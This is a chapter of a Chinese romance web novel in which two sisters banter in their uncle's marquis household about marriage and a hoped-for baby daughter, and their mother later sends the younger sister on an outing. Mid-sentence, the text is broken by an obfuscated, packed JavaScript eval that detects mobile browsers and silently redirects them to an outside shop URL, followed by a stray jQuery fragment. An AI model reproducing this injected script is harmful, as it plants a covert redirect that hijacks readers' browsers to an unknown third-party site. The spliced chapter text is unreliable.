成敏吓了一跳,连忙往江明珠身后躲,成慧便探着身子伸手要把成敏拉出来。
江明珠见惯了这姐妹二人打闹玩笑,也不以为怪,只是叮嘱道:“慧儿你慢着点,仔细身子。”
成慧也知道成敏是说着玩的,并不真的追着计较,只是抬手点了点成敏眼神警告一番,然后同江明珠说:“娘亲,今日您自己回家吧,让妹妹在侯府陪我几日,过几日我再派人送她回家。”
江明珠果然没拦着,只是应下了后又叮嘱了成敏几句道:“你姐姐如今身子重,便是姐妹俩闹着玩也千万要注意,莫要惹得你姐姐急,磕了绊了就不好了。”
成敏连忙乖乖点头。
姐妹俩同舅母一起将江明珠送到了门外,然后携手回了勇毅侯府。
舅舅、舅母知道成敏要留下来住几天,高兴得很,舅母更是连忙派自己身边得力的嬷嬷去给成敏收拾她住的院子。
那院子本是江明珠未嫁时的闺房,便是江明珠出嫁后也一直为她留着,便是这些年侯府没少添丁进口,那也是加价买了周围邻居的宅子想办法扩府,从没想过动江明珠的院子。
成慧和成敏小时候老被舅舅接来侯府小住,都是住她们娘亲的闺房,跟在自己家一般自在。
晚上成慧收拾了自己的东西过来陪着成敏睡,姐妹俩头挨着头脚挨着脚挤在一床大被子里亲密极了。
白天在外面怕隔墙有耳,说多了影响妹妹的名声,这会儿外面有信任的丫头守着,屋里就姐妹两人,成慧便细细地问了成敏从相看到对方定亲的始末。
成敏其实也不知道什么详情,她除了相看那日见过李修文短短一面,说实话现在脑子里都回忆不起他的长相哩!
不管是李家夫人带着媒人一起登门道歉,还是关于肖怡然抢她亲事的揣测,成敏都是听娘亲转述的。
还好成慧也不为难她,问这么详细主要是想看看成敏还惦不惦记那两人罢了,见成敏对那两人言语之中都是气愤难平,成慧才算是彻底放下了心。
瞧着妹妹出落得似玉般的容貌,成慧一边骄傲,一边懊恼地说:“可惜你生得太晚了些,要是早个十年出生就好了。”
成敏听了姐姐的话,笑着问:“早十年出生又如何?”
“傻丫头。”成慧亲昵地捏了捏妹妹的鼻尖道:“那你就能如我一般嫁到舅家来,公爹是咱们嫡亲的舅舅,舅母也向来待我俩亲厚非常,天底下哪里寻这么好的婆母,再还有我护着你,这辈子你都不用愁什么了。”
如今勇毅侯府里几个少爷,最得看重的是大公子,大公子占嫡占长,勇毅侯府是武勋,大公子成家之后便被送去了军中历练,只待建得些功劳便要请封侯府世子,将来是要继承勇毅侯爵的。
常在府里的其他公子里,六公子和八公子皆是嫡出,其余公子则是庶出,按理说八公子是嫡出的小儿子,六公子非长非幼本该是被忽视的那个。
可六公子占了个优势,就是出生的时间好。
侯府里几个公子,排行五、六、七的都和表妹成慧年纪相当,这之中只有六公子是嫡出,自然娶到表妹的就该是他。
在娶成慧进门之前,作为嫡次子,六公子在家既不及大哥受父亲看重,又不及八弟受母亲偏疼,在家中的地位也就是比庶出的兄弟们强一些。
可自从娶了表妹之后,他一下子就越过所有的兄弟。
他父亲勇毅侯一直恨不得表妹们是自家的女儿,如今大表妹成了儿媳妇,自是得了什么好东西都第一时间想着往六房送。
他母亲眼里这个六儿媳妇是自己看着长大的,甚至近半时间都是在自家教养的,哪个儿媳能比自己养出来的儿媳更亲近、更贴心?
如今这勇毅侯府里,就属六公子这一房最受爹娘宠爱了,将来分了家,他们这一房的家业必是除大哥外最多的。
成敏当然知道姐姐在舅舅家日子过得多自在,姐姐既是儿媳妇又是姑奶奶,半点不用担心受公婆磋磨不说,连夫婿若是惹她不开心,公婆都要先动手收拾他。
更何况姐姐长得貌美,又与六表哥是从小一起长大的情分,青梅竹马两小无猜,夫妻感情甚笃。
这府里的表哥们哪个没有几房妾室,就只六表哥真就只有姐姐一个妻子,别说妾室了,连个通房丫头都没要一个。
若是旁人,公婆可能还会微词几句儿媳妇霸道善妒,可在姐姐身上就完全没这个担忧。
可惜成敏年纪小辈分大,在侯府里只几个表侄儿跟她年纪相当,不论是勇毅侯府还是成家,都是有头有脸的人家,绝不可能让姑姑嫁侄儿乱了伦常。
再说成敏现在心里对婚事也有自己的小算盘,所以听了成慧的话便也只是笑笑罢了。
因为怕姐姐瞧出自己心里的秘密,成敏还故意打岔道:“像姐姐这般嫁到舅舅家确实好生自在,可要我说,这纵是百好千好,也还是有一个不好。”
成慧一听,掐着妹妹的脸颊假装生气地说:“舅舅、舅母可白疼你啦,小白眼狼,你说,舅舅家究竟哪里不好?”
成敏一点不慌,先挣脱了姐姐的手才不疾不徐地说出了谜底:“舅舅家自然是哪哪都好,只是我呀,更喜欢香香软软的女儿,可不想整日里尽是为了臭小子操劳!”
成慧闻言又气又笑,她嫁进侯府也好些年了,已经生育过两回了,前两个都是儿子,可不就是妹妹说的整日里为臭小子操劳。
这次时隔几年再次怀上胎,她做梦都想要生一个小女儿,最好能像自家妹妹一样漂亮可爱,所以听了妹妹这话她气得捂住妹妹的嘴说:“乌鸦嘴!你快给我呸一声,我这胎必是要生个漂亮可爱的小女儿的!”
姐妹俩在被子里打闹半晌,终究还是成敏怕姐姐动作太大伤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743662|209169||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着,举手喊饶道:“姐姐,好姐姐,饶了我吧!我说错了,姐姐必然给我生个漂亮可爱的小侄女!我明日就给小侄女缝一身花裙子备着!”
成慧这才心满意足地停了手。
成敏就这样在侯府小住了几日,每日关心关心舅舅舅母的身体,做几道拿手的补汤表表孝心,再就是陪着姐姐一块儿给未出世的孩子做些贴身用的物件。
花裙子她当然是说到做到的缝了一身,但心底里她还是认为姐姐这一胎大概率还是个侄儿。
娘亲私下都跟她说了,姐姐这肚子呀,瞧着和前面两胎差不多,娘亲给准备的物件也都是照着外孙备着的多,这花裙子姐姐怕是用不着啦!
在侯府安心待了几日后,成敏便提出要回自家,若是以往舅舅舅母都是要硬留一留的,可如今知道成敏是说亲的时候,舅舅舅母便只是多多备上好吃好玩的,一边送她一边殷殷叮嘱道:“若得了空,便多来舅舅家住几日。”
成敏自是一一应了。
等回了自家,成敏又先在家里乖乖待了两日,这才去寻江明珠说:“娘亲,上回在舅舅家遇见了云姐姐,她如今备嫁难得出门,我也好久没同云姐姐玩了,我们便约好了我去云府陪她说说话。”
江明珠闻言笑着应了。
如今江明珠可不怕女儿想出门,反倒生怕女儿不想出门在家闷着,还让人给拿了张银票交给成敏道:“若是回来得早,便去街市上逛逛,也瞧瞧外边儿成衣铺子里有没有出什么新样式,若有喜欢的,也别嫌弃料子不好,大不了咱们花钱请店里的师傅上门来量身,用咱家的好料子定做几身便是。”
“娘亲你真好!”成敏高兴地抱着娘亲蹭了蹭,撒了会娇。
等成敏步伐雀跃地带着丫鬟和婆子出了门,江明珠便和身边的管事嬷嬷笑着吐槽了一句:“这丫头,都快定亲的人了,还跟个小孩子一样,半点不见稳重。”
那管事嬷嬷正是青荷的亲娘刘嬷嬷,她同江明珠感情不一般,看成敏自然也是看自己人一般哪哪都好,便辩解道:“二小姐天真烂漫,顶顶好的性子,如今在家里当然自在,再大一点自然就稳重了。”
江明珠闻言略有点伤感地说:“是啊,难得她在家里这么自在,我也狠不下心来拘她的性子教她稳重,日后嫁了人,做了人家的妻子孩子的娘,有得是稳重的日子要过,还是让她多自在一天是一天吧。”
刘嬷嬷连忙宽慰江明珠道:“夫人也别过于忧心了,咱们二小姐自小就被夸长得有福气,将来便是嫁了人,定也是过好日子的命哩!”
江明珠也想起来小女儿小时候自己抱着她去凤鸣山的寺庙祈福,庙里的大和尚都夸小女儿是难得的好面相,将来定是福缘深厚。
这么一想,江明珠心中的忧虑去了些,脸上露出个笑来说:“希望敏儿的婚事顺顺利利,莫要再出什么波折了。”